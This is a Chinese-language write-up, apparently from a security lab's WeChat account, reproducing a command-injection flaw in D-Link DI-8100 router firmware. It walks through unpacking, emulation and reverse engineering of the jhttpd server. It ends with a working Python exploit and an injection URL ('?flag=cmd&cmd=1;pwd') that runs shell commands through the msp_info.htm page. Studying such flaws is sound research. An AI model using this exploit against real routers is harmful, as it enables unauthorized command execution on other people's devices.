这次复现的漏洞点很简单,但是在这次复现中遇到了不少问题也学到了不少东西,所以想着记录一下
固件下载
http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100
硬件版本
A1
固件解包
binwalk -Me DI_8100-16.07.26A1.trx
信息收集
用firmwalker跑一下
以下是认为对复现有用的信息
##################################### rcS
t/etc_ro/rcS
##################################### inittab
t/etc_ro/inittab
##################################### jhttpd
t/usr/sbin/jhttpd
##################################### busybox
t/bin/busybox
##################################### telnetd
t/usr/sbin/telnetd
##################################### rc
t/sbin/rc
##################################### init
t/init
t/sbin/init
固件模拟
sudo ./run.sh -d dlink /firmware/1.bin
启动项分析
可以看到bin/init文件被链接到sbin目录下的rc二进制文件
那我们去分析一下rc二进制文件
在main函数的27至37行 程序名称被提取出来,然后通过比较字符串在全局数组中查找匹配的程序名称
在rc的main函数的尾部的第40行
负责调用对应函数的指针
我们来看看地址为0x45e018处
按照前面main函数所写 这里的函数都会被遍历执行一次
这里启动项很多 篇幅有限暂不展开
在前面的信息收集中 我们得知该固件使用的是jhttpd服务器
所以我们在这看看jhttpd服务是怎么起的
在init_main函数中的第410行 程序调用了start_jhttod()函数
我们跟进去看看
可以看到在这启动了jhttpd服务
但至于_xstart函数 我没有在搜索引擎搜到有关信息 可能是自己封装的函数
于是我搜索了一下发现在libshared.so库里
漏洞复现
根据漏洞描述在jhttpd的msp_info_htm函数存在命令注入
在msp_info_htm函数中程序需要先通过get方法接收一个名为flag的参数
接着将这个参数与mem、slab、ps、cmd、进行strcmp判断
当变量flag等于cmd时会再用get方法接收一个名为cmd的变量并赋值给v11
再用sprintf函数写入v23中
但这没有对我们输入的参数进行过滤 这就导致了命令注入
(其实我有点不懂为什么要这样接收参数 不知道是不是开发人员自己留的后门)
后面跟别的师傅聊 说可能是为了方便后面单独开启某个服务而设置
我用find命令找了下msp_info.htm但文件夹中却没有这个文件
于是按照github上在浏览器输入http://192.168.0.1/msp_info.htm
抓包修改成?flag=cmd&cmd=1;pwd
发包 在响应包中成功看到返回的路径
exp:
import requests
url = "http://192.168.0.1:80/msp_info.htm?flag=cmd&cmd=1;"
cookies = {"wys_userid": "admin,wys_passwd=520E1BFD4CDE217D0A5824AE7EA60632"}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"}
command="$(echo 114514 > /tmp/noppppppppp)"
url=url+command
requests.get(url, headers=headers, cookies=cookies)
后话
在分析启动项的时候疑惑init程序到底是谁起的 好在在智玩宇宙师傅的指点下 去github看了Linux内核源码
发现在内核加载后第一个启动的就是init程序 这也就说明init是谁启动的
在验证poc的时候我想向/tmp目录下写文件 但文件倒是创建了 可cat后没有任何输出 在先前的复现中也曾出现了这种情况 但在请教p1yang师傅后我才得知我的echo 111 > /tmp/nop被分割成了两条命令 分别是echo 111 和 > /tmp/nop 所以这就阐述了为什么执行命令后能创建文件但是不能写
参考链接 https://github.com/aLtEr6/pdf/blob/main/2.pdf
原文始发于微信公众号(ProtoWare安全实验室):Dlink-Dl-8100漏洞复现